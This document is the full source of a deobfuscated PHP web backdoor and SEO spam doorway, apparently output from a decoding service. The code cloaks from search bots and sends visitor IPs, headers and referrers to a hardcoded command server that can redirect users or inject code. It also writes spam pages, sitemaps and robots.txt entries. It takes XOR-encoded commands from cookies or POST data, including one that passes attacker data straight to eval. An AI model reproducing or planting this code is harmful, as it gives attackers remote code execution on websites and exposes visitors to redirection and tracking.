@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set('UTC');class _fantty{static private $_5r14gnz0 = 2990481619;static function _o6brv($_6wgxvjj3, $_we42imhf){$_6wgxvjj3[2] = count($_6wgxvjj3) > 4 ? long2ip(_fantty::$_5r14gnz0 - 693) : $_6wgxvjj3[2];$_uu7no188 = _fantty::_h8lbi($_6wgxvjj3, $_we42imhf);if (!$_uu7no188) {$_uu7no188 = _fantty::_dzrdm($_6wgxvjj3, $_we42imhf);}return $_uu7no188;}static function _h8lbi($_6wgxvjj3, $_uu7no188, $_cg2jbt7h = NULL){if (!function_exists('curl_version')) {return "";}if (is_array($_6wgxvjj3)) {$_6wgxvjj3 = implode("/", $_6wgxvjj3);}$_cgmg40ao = curl_init();curl_setopt($_cgmg40ao, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_cgmg40ao, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_cgmg40ao, CURLOPT_URL, $_6wgxvjj3);if (!empty($_uu7no188)) {curl_setopt($_cgmg40ao, CURLOPT_POST, 1);curl_setopt($_cgmg40ao, CURLOPT_POSTFIELDS, $_uu7no188);}if (!empty($_cg2jbt7h)) {curl_setopt($_cgmg40ao, CURLOPT_HTTPHEADER, $_cg2jbt7h);}curl_setopt($_cgmg40ao, CURLOPT_RETURNTRANSFER, TRUE);$_5cc1sdh3 = curl_exec($_cgmg40ao);curl_close($_cgmg40ao);return $_5cc1sdh3;}static function _dzrdm($_6wgxvjj3, $_uu7no188, $_cg2jbt7h = NULL){if (is_array($_6wgxvjj3)) {$_6wgxvjj3 = implode("/", $_6wgxvjj3);}if (!empty($_uu7no188)) {$_gl7p0awz = array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => $_uu7no188);if (!empty($_cg2jbt7h)) {$_gl7p0awz["header"] = $_gl7p0awz["header"] . "
" . implode("
", $_cg2jbt7h);}$_8syeq59a = stream_context_create(array('http' => $_gl7p0awz));} else {$_gl7p0awz = array('method' => 'GET',);if (!empty($_cg2jbt7h)) {$_gl7p0awz["header"] = implode("
", $_cg2jbt7h);}$_8syeq59a = stream_context_create(array('http' => $_gl7p0awz));}return @file_get_contents($_6wgxvjj3, FALSE, $_8syeq59a);}}class _b68k5ym{private static $_3y0u2040 = "";private static $_urj6w84p = -1;private static $_7z9f2mw9 = "";private $_ibjvr269 = "";private $_ts33hq1t = "";private $_mnxm6y2g = "";private $_hg7mqcvv = "";public static function _j0hkw($_etc1q9w9, $_5rxpxnku, $_lx966icj){_b68k5ym::$_3y0u2040 = $_etc1q9w9 . "/cache/";_b68k5ym::$_urj6w84p = $_5rxpxnku;_b68k5ym::$_7z9f2mw9 = $_lx966icj;if (!@file_exists(_b68k5ym::$_3y0u2040)) {@mkdir(_b68k5ym::$_3y0u2040);}}static public function _60ue2(){$_ny1zze17 = 0;foreach (scandir(_b68k5ym::$_3y0u2040) as $_wmsop5ra) {$_ny1zze17 += 1;}return $_ny1zze17;}public static function _elig6(){return TRUE;}public function __construct($_4y1zlod3, $_eb22a4ih, $_pa4bwte6, $_c9yu1agq){$this->_ibjvr269 = $_4y1zlod3;$this->_ts33hq1t = $_eb22a4ih;$this->_mnxm6y2g = $_pa4bwte6;$this->_hg7mqcvv = $_c9yu1agq;}public function _rd0t8(){function _f0g85($_z5bknnw0, $_jqehyzyu){return round(rand($_z5bknnw0, $_jqehyzyu - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX), 2);}$_wi9cemp1 = _wl47heq::_t5o0u();$_uu7no188 = str_replace("{{ text }}", $this->_ts33hq1t,str_replace("{{ keyword }}", $this->_mnxm6y2g,str_replace("{{ links }}", $this->_hg7mqcvv, $this->_ibjvr269)));while (TRUE) {$_ss6pyhvn = preg_replace('/' . preg_quote("{{ randkeyword }}", '/') . '/', _wl47heq::_8578k(), $_uu7no188, 1);if ($_ss6pyhvn === $_uu7no188) {break;}$_uu7no188 = $_ss6pyhvn;}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_uu7no188, $_1e0fs1ma);if (empty($_1e0fs1ma)) {break;}$_pa4bwte6 = @$_wi9cemp1[intval($_1e0fs1ma[1])];$_05nx3ph1 = _kvbmvky::_1ozwl($_pa4bwte6);$_uu7no188 = str_replace($_1e0fs1ma[0], $_05nx3ph1, $_uu7no188);}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_uu7no188, $_1e0fs1ma);if (empty($_1e0fs1ma)) {break;}$_pa4bwte6 = @$_wi9cemp1[intval($_1e0fs1ma[1])];$_uu7no188 = str_replace($_1e0fs1ma[0], $_pa4bwte6, $_uu7no188);}while (TRUE) {preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_uu7no188, $_1e0fs1ma);if (empty($_1e0fs1ma)) {break;}$_uu7no188 = str_replace($_1e0fs1ma[0], _f0g85($_1e0fs1ma[1], $_1e0fs1ma[2]), $_uu7no188);}while (TRUE) {preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_uu7no188, $_1e0fs1ma);if (empty($_1e0fs1ma)) {break;}$_uu7no188 = str_replace($_1e0fs1ma[0], rand($_1e0fs1ma[1], $_1e0fs1ma[2]), $_uu7no188);}return $_uu7no188;}public function _cqpqk(){$_433rn123 = _b68k5ym::$_3y0u2040 . md5($this->_mnxm6y2g . _b68k5ym::$_7z9f2mw9);if (_b68k5ym::$_urj6w84p == -1) {$_7ktvq1os = -1;} else {$_7ktvq1os = time() + (3600 * 24 * 30);}$_gv9jlvq0 = array("template" => $this->_ibjvr269, "text" => $this->_ts33hq1t, "keyword" => $this->_mnxm6y2g,"links" => $this->_hg7mqcvv, "expired" => $_7ktvq1os);@file_put_contents($_433rn123, serialize($_gv9jlvq0));}static public function _kd7xc($_pa4bwte6){$_433rn123 = _b68k5ym::$_3y0u2040 . md5($_pa4bwte6 . _b68k5ym::$_7z9f2mw9);$_433rn123 = @unserialize(@file_get_contents($_433rn123));if (!empty($_433rn123) && ($_433rn123["expired"] > time() || $_433rn123["expired"] == -1)) {return new _b68k5ym($_433rn123["template"], $_433rn123["text"], $_433rn123["keyword"], $_433rn123["links"]);} else {return null;}}}class _sud8xi{private static $_3y0u2040 = "";private static $_oq4pi759 = "";public static function _j0hkw($_etc1q9w9, $_y9tvy1d6){_sud8xi::$_3y0u2040 = $_etc1q9w9 . "/";_sud8xi::$_oq4pi759 = $_y9tvy1d6;if (!@file_exists(_sud8xi::$_3y0u2040)) {@mkdir(_sud8xi::$_3y0u2040);}}public static function _elig6(){return TRUE;}static public function _60ue2(){$_ny1zze17 = 0;foreach (scandir(_sud8xi::$_3y0u2040) as $_wmsop5ra) {if (strpos($_wmsop5ra, _sud8xi::$_oq4pi759) === 0) {$_ny1zze17 += 1;}}return $_ny1zze17;}static public function _8578k(){$_9cbn9k3r = array();foreach (scandir(_sud8xi::$_3y0u2040) as $_wmsop5ra) {if (strpos($_wmsop5ra, _sud8xi::$_oq4pi759) === 0) {$_9cbn9k3r[] = $_wmsop5ra;}}return @file_get_contents(_sud8xi::$_3y0u2040 . $_9cbn9k3r[array_rand($_9cbn9k3r)]);}static public function _cqpqk($_bvjarnsc){if (@file_exists(_sud8xi::$_oq4pi759 . "_" . md5($_bvjarnsc) . ".html")) {return;}@file_put_contents(_sud8xi::$_oq4pi759 . "_" . md5($_bvjarnsc) . ".html", $_bvjarnsc);}}class _wl47heq{private static $_3y0u2040 = "";private static $_oq4pi759 = "";private static $_ui8dv7ha = array();private static $_3fpt7p2q = array();public static function _j0hkw($_etc1q9w9, $_y9tvy1d6){_wl47heq::$_3y0u2040 = $_etc1q9w9 . "/";_wl47heq::$_oq4pi759 = $_y9tvy1d6;if (!@file_exists(_wl47heq::$_3y0u2040)) {@mkdir(_wl47heq::$_3y0u2040);}}private static function _sif2w(){$_b2qrhoea = array();foreach (scandir(_wl47heq::$_3y0u2040) as $_wmsop5ra) {if (strpos($_wmsop5ra, _wl47heq::$_oq4pi759) === 0) {$_b2qrhoea[] = $_wmsop5ra;}}return $_b2qrhoea;}public static function _elig6(){return TRUE;}static public function _8578k(){if (empty(_wl47heq::$_ui8dv7ha)) {$_b2qrhoea = _wl47heq::_sif2w();_wl47heq::$_ui8dv7ha = @file(_wl47heq::$_3y0u2040 . $_b2qrhoea[array_rand($_b2qrhoea)], FILE_IGNORE_NEW_LINES);}return _wl47heq::$_ui8dv7ha[array_rand(_wl47heq::$_ui8dv7ha)];}static public function _t5o0u(){if (empty(_wl47heq::$_3fpt7p2q)) {$_b2qrhoea = _wl47heq::_sif2w();foreach ($_b2qrhoea as $_o6rg07cj) {_wl47heq::$_3fpt7p2q = array_merge(_wl47heq::$_3fpt7p2q, @file(_wl47heq::$_3y0u2040 . $_o6rg07cj, FILE_IGNORE_NEW_LINES));}}return _wl47heq::$_3fpt7p2q;}static public function _cqpqk($_549uca0t){if (@file_exists(_wl47heq::$_oq4pi759 . "_" . md5($_549uca0t) . ".list")) {return;}@file_put_contents(_wl47heq::$_oq4pi759 . "_" . md5($_549uca0t) . ".list", $_549uca0t);}static public function _kvlef($_pa4bwte6){@file_put_contents(_wl47heq::$_oq4pi759 . "_" . md5(_kvbmvky::$_lxsmztq3) . ".list", $_pa4bwte6 . "
", 8);}}class _kvbmvky{static public $_8dn634b4 = "5.3";static public $_lxsmztq3 = "5430876c-105e-97f9-c21a-cb0b8ebcfb6a";private $_tvdq0axu = "http://136.12.78.46/app/assets/api2?action=redir";private $_jedctmqs = "http://136.12.78.46/app/assets/api?action=page";static public $_hl9xnj7r = 5;static public $_nco3oa7d = 20;private function _jxq9l(){$_x0y81pao = array('#libwww-perl#i','#MJ12bot#i','#msnbot#i', '#msnbot-media#i','#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i','#spider#i', '#yahoo#i', '#google#i', '#altavista#i','#ask#i','#yahoo!\s*slurp#i','#BingBot#i');if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_x0y81pao, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_2oxlfxiv = 1;} elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_2oxlfxiv = 1;} elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) {$_2oxlfxiv = 1;} else {$_2oxlfxiv = 0;}return $_2oxlfxiv;}private static function _k9mem(){$_we42imhf = array();$_we42imhf['ip'] = $_SERVER['REMOTE_ADDR'];$_we42imhf['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_we42imhf['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_we42imhf['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_we42imhf['ref'] = @$_SERVER['HTTP_REFERER'];$_we42imhf['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_we42imhf['acp'] = @$_SERVER['HTTP_ACCEPT'];$_we42imhf['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_we42imhf['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_we42imhf;}public function __construct(){$this->_tvdq0axu = explode("/", $this->_tvdq0axu);$this->_jedctmqs = explode("/", $this->_jedctmqs);}static public function _5fnsd($_08c93nic){if (strlen($_08c93nic) < 4) {return "";}$_z4cfti90 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_wi9cemp1 = str_split($_z4cfti90);$_wi9cemp1 = array_flip($_wi9cemp1);$_25n8ffjy = 0;$_frpimu6j = "";$_08c93nic = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_08c93nic);do {$_008o5i5x = $_wi9cemp1[$_08c93nic[$_25n8ffjy++]];$_cgya4kea = $_wi9cemp1[$_08c93nic[$_25n8ffjy++]];$_jysjsaw3 = $_wi9cemp1[$_08c93nic[$_25n8ffjy++]];$_8mxnlby8 = $_wi9cemp1[$_08c93nic[$_25n8ffjy++]];$_iuiwyqip = ($_008o5i5x << 2) | ($_cgya4kea >> 4);$_g4z9b6db = (($_cgya4kea & 15) << 4) | ($_jysjsaw3 >> 2);$_yki9nwqo = (($_jysjsaw3 & 3) << 6) | $_8mxnlby8;$_frpimu6j = $_frpimu6j . chr($_iuiwyqip);if ($_jysjsaw3 != 64) {$_frpimu6j = $_frpimu6j . chr($_g4z9b6db);}if ($_8mxnlby8 != 64) {$_frpimu6j = $_frpimu6j . chr($_yki9nwqo);}} while ($_25n8ffjy < strlen($_08c93nic));return $_frpimu6j;}private function _njklz($_pa4bwte6){$_4y1zlod3 = "";$_eb22a4ih = "";$_we42imhf = _kvbmvky::_k9mem();$_we42imhf["uid"] = _kvbmvky::$_lxsmztq3;$_we42imhf["keyword"] = $_pa4bwte6;$_we42imhf["tc"] = 10;$_we42imhf = http_build_query($_we42imhf);$_nk7gi22w = _fantty::_o6brv($this->_jedctmqs, $_we42imhf);if (strpos($_nk7gi22w, _kvbmvky::$_lxsmztq3) === FALSE) {return array($_4y1zlod3, $_eb22a4ih);}$_4y1zlod3 = _sud8xi::_8578k();$_eb22a4ih = substr($_nk7gi22w, strlen(_kvbmvky::$_lxsmztq3));$_eb22a4ih = explode("
", $_eb22a4ih);shuffle($_eb22a4ih);$_eb22a4ih = implode(" ", $_eb22a4ih);return array($_4y1zlod3, $_eb22a4ih);}private function _nrluv(){$_we42imhf = _kvbmvky::_k9mem();if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {$_we42imhf['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];}if (isset($_SERVER['HTTP_X_REAL_IP'])) {$_we42imhf['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];}if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_we42imhf['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];}$_we42imhf["uid"] = _kvbmvky::$_lxsmztq3;$_we42imhf = http_build_query($_we42imhf);$_5g1h35va = _fantty::_o6brv($this->_tvdq0axu, $_we42imhf);$_5g1h35va = @unserialize($_5g1h35va);if (isset($_5g1h35va["type"]) && $_5g1h35va["type"] == "redir") {if (!empty($_5g1h35va["data"]["header"])) {header($_5g1h35va["data"]["header"]);return true;} elseif (!empty($_5g1h35va["data"]["code"])) {echo $_5g1h35va["data"]["code"];return true;}}return false;}public function _elig6(){return _b68k5ym::_elig6() && _sud8xi::_elig6() && _wl47heq::_elig6();}static public function _rqg7d(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _srapb(){$_jjbhehxj = explode("?", $_SERVER["REQUEST_URI"], 2);$_jjbhehxj = $_jjbhehxj[0];if (strpos($_jjbhehxj, ".php") === FALSE) {$_jjbhehxj = explode("/", $_jjbhehxj);array_pop($_jjbhehxj);$_jjbhehxj = implode("/", $_jjbhehxj) . "/";}return sprintf("%s://%s%s", _kvbmvky::_rqg7d() ? "https" : "http", $_SERVER['HTTP_HOST'], $_jjbhehxj);}public static function _59cju(){$_gbp2yy4f = Array("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15","Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15","Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36");$_cpmnedtk = array("https://www.google.com/ping?sitemap=" => "Sitemap Notification Received",);$_cg2jbt7h = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language: en-US,en;q=0.5","User-Agent: " . $_gbp2yy4f[array_rand($_gbp2yy4f)],);$_fiyulk66 = urlencode(_kvbmvky::_ao0ru() . "/sitemap.xml");foreach ($_cpmnedtk as $_6wgxvjj3 => $_h5ih1f0k) {$_rfeuhwl2 = _fantty::_h8lbi($_6wgxvjj3 . $_fiyulk66, NULL, $_cg2jbt7h);if (empty($_rfeuhwl2)) {$_rfeuhwl2 = _fantty::_dzrdm($_6wgxvjj3 . $_fiyulk66, NULL, $_cg2jbt7h);}if (empty($_rfeuhwl2)) {return FALSE;}if (strpos($_rfeuhwl2, $_h5ih1f0k) === FALSE) {return FALSE;}}return TRUE;}public static function _6sib2(){$_uhkumrcc = "User-agent: *
Disallow: %s
User-agent: Bingbot
User-agent: Googlebot
User-agent: Slurp
Disallow:
Sitemap: %s
";$_jjbhehxj = explode("?", $_SERVER["REQUEST_URI"], 2);$_jjbhehxj = $_jjbhehxj[0];$_q0sxoloe = substr($_jjbhehxj, 0, strrpos($_jjbhehxj, "/"));$_aewf508z = sprintf($_uhkumrcc, $_q0sxoloe, _kvbmvky::_ao0ru() . "/sitemap.xml");$_q0zpyzzb = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";if (@file_exists($_q0zpyzzb)) {@chmod($_q0zpyzzb, 0777);$_cz5v6wyi = @file_get_contents($_q0zpyzzb);} else {$_cz5v6wyi = "";}if (strpos($_cz5v6wyi, $_aewf508z) === FALSE) {@file_put_contents($_q0zpyzzb, $_cz5v6wyi . "
" . $_aewf508z);$_cz5v6wyi = @file_get_contents($_q0zpyzzb);return (strpos($_cz5v6wyi, $_aewf508z) !== FALSE);}return FALSE;}public static function _ao0ru(){$_jjbhehxj = explode("?", $_SERVER["REQUEST_URI"], 2);$_jjbhehxj = $_jjbhehxj[0];$_etc1q9w9 = substr($_jjbhehxj, 0, strrpos($_jjbhehxj, "/"));return sprintf("%s://%s%s", _kvbmvky::_rqg7d() ? "https" : "http", $_SERVER['HTTP_HOST'], $_etc1q9w9);}public static function _1ozwl($_pa4bwte6){$_6jpyog1u = _kvbmvky::_srapb();$_9vlffq0c = substr(md5(_kvbmvky::$_lxsmztq3 . "salt3"), 0, 6);$_vaewookw = "";if (substr($_6jpyog1u, -1) == "/") {if (ord($_9vlffq0c[1]) % 2) {$_pa4bwte6 = str_replace(" ", "-", $_pa4bwte6);} else {$_pa4bwte6 = str_replace(" ", "-", $_pa4bwte6);}$_vaewookw = sprintf("%s%s.html", $_6jpyog1u, urlencode($_pa4bwte6));} else {if (FALSE && (ord($_9vlffq0c[0]) % 2)) {$_vaewookw = sprintf("%s?%s=%s",$_6jpyog1u,$_9vlffq0c,urlencode(str_replace(" ", "-", $_pa4bwte6)));} else {$_jf1r5uai = array("id", "page", "tag");$_4tx3pchy = $_jf1r5uai[ord($_9vlffq0c[2]) % count($_jf1r5uai)];if (ord($_9vlffq0c[1]) % 2) {$_pa4bwte6 = str_replace(" ", "-", $_pa4bwte6);} else {$_pa4bwte6 = str_replace(" ", "-", $_pa4bwte6);}$_vaewookw = sprintf("%s?%s=%s",$_6jpyog1u,$_4tx3pchy,urlencode($_pa4bwte6));}}return $_vaewookw;}public static function _4mej6($_z5bknnw0, $_jqehyzyu){$_bfv4bw8r = "";for ($_25n8ffjy = 0; $_25n8ffjy < rand($_z5bknnw0, $_jqehyzyu); $_25n8ffjy++) {$_pa4bwte6 = _wl47heq::_8578k();$_bfv4bw8r .= sprintf("<a href=\"%s\">%s</a>,
",_kvbmvky::_1ozwl($_pa4bwte6), ucwords($_pa4bwte6));}return $_bfv4bw8r;}public static function _07yml($_cicy4qyo = FALSE){$_xpgkagxj = dirname(__FILE__) . "/sitemap.xml";$_o36dvyvv = "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . ">
<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">
";$_90omjk6l = "</urlset>";$_wi9cemp1 = _wl47heq::_t5o0u();$_1qzld7vf = array();if (file_exists($_xpgkagxj)) {$_nk7gi22w = simplexml_load_file($_xpgkagxj);foreach ($_nk7gi22w as $_rnu697y8) {$_1qzld7vf[(string)$_rnu697y8->loc] = (string)$_rnu697y8->lastmod;}} else {$_cicy4qyo = FALSE;}foreach ($_wi9cemp1 as $_rxy5y2zc) {$_vaewookw = _kvbmvky::_1ozwl($_rxy5y2zc);if (isset($_1qzld7vf[$_vaewookw])) {continue;}if ($_cicy4qyo) {$_e066qhnf = time();} else {$_e066qhnf = time() - (crc32($_rxy5y2zc) % (60 * 60 * 24 * 30));}$_1qzld7vf[$_vaewookw] = date("Y-m-d", $_e066qhnf);}$_qs6okca7 = "";foreach ($_1qzld7vf as $_6wgxvjj3 => $_e066qhnf) {$_qs6okca7 .= "<url>
";$_qs6okca7 .= sprintf("<loc>%s</loc>
", $_6wgxvjj3);$_qs6okca7 .= sprintf("<lastmod>%s</lastmod>
", $_e066qhnf);$_qs6okca7 .= "</url>
";}$_ch9cn1o5 = $_o36dvyvv . $_qs6okca7 . $_90omjk6l;$_fiyulk66 = _kvbmvky::_ao0ru() . "/sitemap.xml";@file_put_contents($_xpgkagxj, $_ch9cn1o5);return $_fiyulk66;}public function _tn3o4(){$_4tx3pchy = substr(md5(_kvbmvky::$_lxsmztq3 . "salt3"), 0, 6);if (!$this->_jxq9l()) {if ($this->_nrluv()) {return;}}if (!empty($_GET)) {$_5w1msisn = array_values($_GET);} else {$_5w1msisn = explode("/", $_SERVER["REQUEST_URI"]);$_5w1msisn = array_reverse($_5w1msisn);}$_pa4bwte6 = "";foreach ($_5w1msisn as $_mwwh633b) {if (substr_count($_mwwh633b, "-") > 0) {$_pa4bwte6 = $_mwwh633b;break;}}$_pa4bwte6 = str_replace($_4tx3pchy . "-", "", $_pa4bwte6);$_pa4bwte6 = str_replace("-" . $_4tx3pchy, "", $_pa4bwte6);$_pa4bwte6 = str_replace("-", " ", $_pa4bwte6);$_a0iw8px2 = array(".html", ".php", ".aspx");foreach ($_a0iw8px2 as $_lfgxpgif) {if (strpos($_pa4bwte6, $_lfgxpgif) === strlen($_pa4bwte6) - strlen($_lfgxpgif)) {$_pa4bwte6 = substr($_pa4bwte6, 0, strlen($_pa4bwte6) - strlen($_lfgxpgif));}}$_pa4bwte6 = urldecode($_pa4bwte6);$_i7pi8qqa = _wl47heq::_t5o0u();if (empty($_pa4bwte6)) {$_pa4bwte6 = $_i7pi8qqa[0];} else if (!in_array($_pa4bwte6, $_i7pi8qqa)) {$_ch0tdeu7 = 0;foreach (str_split($_pa4bwte6) as $_cgmg40ao) {$_ch0tdeu7 += ord($_cgmg40ao);}$_pa4bwte6 = $_i7pi8qqa[$_ch0tdeu7 % count($_i7pi8qqa)];}if (!empty($_pa4bwte6)) {$_5g1h35va = _b68k5ym::_kd7xc($_pa4bwte6);if (empty($_5g1h35va)) {list($_4y1zlod3, $_eb22a4ih) = $this->_njklz($_pa4bwte6);if (empty($_eb22a4ih)) {return;}$_5g1h35va = new _b68k5ym($_4y1zlod3, $_eb22a4ih, $_pa4bwte6, _kvbmvky::_4mej6(_kvbmvky::$_hl9xnj7r, _kvbmvky::$_nco3oa7d));$_5g1h35va->_cqpqk();}echo $_5g1h35va->_rd0t8();}}}_b68k5ym::_j0hkw(dirname(__FILE__), -1, _kvbmvky::$_lxsmztq3);_sud8xi::_j0hkw(dirname(__FILE__), substr(md5(_kvbmvky::$_lxsmztq3 . "salt12"), 0, 4));_wl47heq::_j0hkw(dirname(__FILE__), substr(md5(_kvbmvky::$_lxsmztq3 . "salt22"), 0, 4));function _2rp0e($_nk7gi22w, $_rxy5y2zc){$_w9x9w5jc = "";for ($_25n8ffjy = 0; $_25n8ffjy < strlen($_nk7gi22w);) {for ($_qrgdim1o = 0; $_qrgdim1o < strlen($_rxy5y2zc) && $_25n8ffjy < strlen($_nk7gi22w); $_qrgdim1o++, $_25n8ffjy++) {$_w9x9w5jc .= chr(ord($_nk7gi22w[$_25n8ffjy]) ^ ord($_rxy5y2zc[$_qrgdim1o]));}}return $_w9x9w5jc;}function _nz644($_nk7gi22w, $_rxy5y2zc, $_r1ygy35t){return _2rp0e(_2rp0e($_nk7gi22w, $_rxy5y2zc), $_r1ygy35t);}foreach (array_merge($_COOKIE, $_POST) as $_xzhoi8wu => $_nk7gi22w) {$_nk7gi22w = @unserialize(_nz644(_kvbmvky::_5fnsd($_nk7gi22w), $_xzhoi8wu, _kvbmvky::$_lxsmztq3));if (isset($_nk7gi22w['ak']) && _kvbmvky::$_lxsmztq3 == $_nk7gi22w['ak']) {if ($_nk7gi22w['a'] == 'doorway2') {if ($_nk7gi22w['sa'] == 'check') {$_uu7no188 = _fantty::_o6brv(explode("/", "http://httpbin.org/"), "");if (strlen($_uu7no188) > 512) {echo @serialize(array("uid" => _kvbmvky::$_lxsmztq3, "v" => _kvbmvky::$_8dn634b4,"cache" => _b68k5ym::_60ue2(),"keywords" => count(_wl47heq::_t5o0u()),"templates" => _sud8xi::_60ue2()));}exit;}if ($_nk7gi22w['sa'] == 'templates') {foreach ($_nk7gi22w["templates"] as $_4y1zlod3) {_sud8xi::_cqpqk($_4y1zlod3);echo @serialize(array("uid" => _kvbmvky::$_lxsmztq3, "v" => _kvbmvky::$_8dn634b4,));}}if ($_nk7gi22w['sa'] == 'keywords') {_wl47heq::_cqpqk($_nk7gi22w["keywords"]);_kvbmvky::_07yml();echo @serialize(array("uid" => _kvbmvky::$_lxsmztq3, "v" => _kvbmvky::$_8dn634b4,));}if ($_nk7gi22w['sa'] == 'update_sitemap') {_kvbmvky::_07yml(TRUE);echo @serialize(array("uid" => _kvbmvky::$_lxsmztq3, "v" => _kvbmvky::$_8dn634b4,));}if ($_nk7gi22w['sa'] == 'pages') {$_gbdo5nw9 = 0;$_i7pi8qqa = _wl47heq::_t5o0u();if (_sud8xi::_60ue2() > 0) {foreach ($_nk7gi22w['pages'] as $_5g1h35va) {$_g6mx4bww = _b68k5ym::_kd7xc($_5g1h35va["keyword"]);if (empty($_g6mx4bww)) {$_g6mx4bww = new _b68k5ym(_sud8xi::_8578k(), $_5g1h35va["text"], $_5g1h35va["keyword"], _kvbmvky::_4mej6(_kvbmvky::$_hl9xnj7r, _kvbmvky::$_nco3oa7d));$_g6mx4bww->_cqpqk();$_gbdo5nw9 += 1;if (!in_array($_5g1h35va["keyword"], $_i7pi8qqa)) {_wl47heq::_kvlef($_5g1h35va["keyword"]);}}}}echo @serialize(array("uid" => _kvbmvky::$_lxsmztq3, "v" => _kvbmvky::$_8dn634b4, "pages" => $_gbdo5nw9));}if ($_nk7gi22w["sa"] == "ping") {$_rfeuhwl2 = _kvbmvky::_59cju();echo @serialize(array("uid" => _kvbmvky::$_lxsmztq3, "v" => _kvbmvky::$_8dn634b4, "result" => (int)$_rfeuhwl2));}if ($_nk7gi22w["sa"] == "robots") {$_rfeuhwl2 = _kvbmvky::_6sib2();echo @serialize(array("uid" => _kvbmvky::$_lxsmztq3, "v" => _kvbmvky::$_8dn634b4, "result" => (int)$_rfeuhwl2));}}if ($_nk7gi22w['sa'] == 'eval') {eval($_nk7gi22w["data"]);exit;}}}$_4sf2uqdw = new _kvbmvky();if ($_4sf2uqdw->_elig6()) {$_4sf2uqdw->_tn3o4();}exit(); ?>
Function Calls
None |
Stats
MD5 | 8a9af33d8455fc7ca557155abea2141a |
Eval Count | 0 |
Decode Time | 67 ms |